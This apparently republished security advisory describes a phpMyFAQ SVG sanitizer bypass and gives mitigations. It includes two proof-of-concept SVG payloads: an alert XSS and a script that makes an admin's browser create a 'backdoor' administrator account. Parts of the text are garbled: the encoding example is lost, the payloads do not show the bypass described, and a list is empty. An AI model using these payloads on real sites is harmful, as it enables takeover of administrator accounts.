BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[MEDIUM] Security Advisory: phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation (thorsten/phpmyfaq)

Editors in phpMyFAQ can upload malicious SVGs that bypass the SVG sanitizer, trigger stored XSS, and escalate privileges to full admin control.

Editors in phpMyFAQ can upload malicious SVGs that bypass the SVG sanitizer, trigger stored XSS, and escalate privileges to full admin control. This affects all installations since the sanitizer landed on January 15, 2026, in phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php. Any user with edit_faq permission exploits it via the image upload endpoint at /admin/api/content/images, no admin rights needed.

The core flaw sits in the regex pattern /href\s*=\s*["\']javascript:[^"\']*["\']/i. It sniffs for literal javascript: in SVG <a href> attributes but chokes on HTML entity encoding. Browsers decode entities like javascript to javascript on render, executing the payload. The isSafe() method greenlights the file, skipping further checks.

Worse, the DANGEROUS_ELEMENTS blocklist ignores SVG-specific JS vectors like <script>, <use>, and <animate>. Uploaded SVGs serve as Content-Type: image/svg+xml without Content-Disposition: attachment, so browsers inline-render and run the JS on the phpMyFAQ domain.

Proof-of-Concept Exploits

Tested in Chrome 146 and Edge, this basic XSS works for any editor:

  1. Log in with edit_faq permissions.
  2. Go to Admin → Content → Add New FAQ.
  3. In TinyMCE, upload this SVG:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <style> text { cursor: pointer; fill: red; font-size: 20px; } </style>
  <a href="javascript:alert('XSS')()"><text x="10" y="50">Click for XSS</text></a>
</svg>

The file lands at /content/user/images/_.svg. Open it directly; click the red text fires alert(document.domain).

For privilege escalation, upload this to trick an admin:

<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100">
  <a href="javascript:
    fetch('/admin/api/user?login=backdoor&passwd=H4ck3d!&role=1',{
      method:'POST',
      headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRFToken':document.querySelector('[name=csrf]').value}
    }).then(r=>r.text()).then(console.log);
  ()">
    <text x="10" y="50" fill="blue" font-size="16">📋 System Notice View Update →</text>
  </a>
</svg>

Admin clicks, JS POSTs to /admin/api/user creating backdoor:H4ck3d! with full admin role. Attacker logs in.

Real-World Impact and Fixes

phpMyFAQ powers FAQs for thousands of sites—companies, universities, governments rely on it for self-hosted knowledge bases. An editor (support staff, contributor) turns rogue and owns the instance. JS runs in admin’s browser context, so attackers:

This echoes SVG XSS plagues in WordPress, MediaWiki—SVGs lure devs with “vector graphics” but pack HTML/JS. Regex sanitizers fail predictably; entities, case tweaks, whitespace dodge them. phpMyFAQ’s 2026 intro aimed to block uploads but picked the wrong tool.

Fix it now: Ditch regex for DOM parsing with an allowlist—strip everything but <path>, <rect>, etc., no href or on* handlers. Or force Content-Disposition: attachment on SVGs. Upstream patch incoming? Check thorsten/phpmyfaq. Until then, revoke edit_faq image uploads or block SVGs at nginx/Apache.

Why care? Unpatched, one click hands your FAQ over. In 2024’s breach landscape, leaked DB creds mean ransomware bait. Audit uploads, monitor logs for suspicious SVGs, rotate creds if exposed. Solid intel beats hype—patch before editors go dark side.

April 2, 2026 · 3 min · 8 views · Source: GitHub Security

Related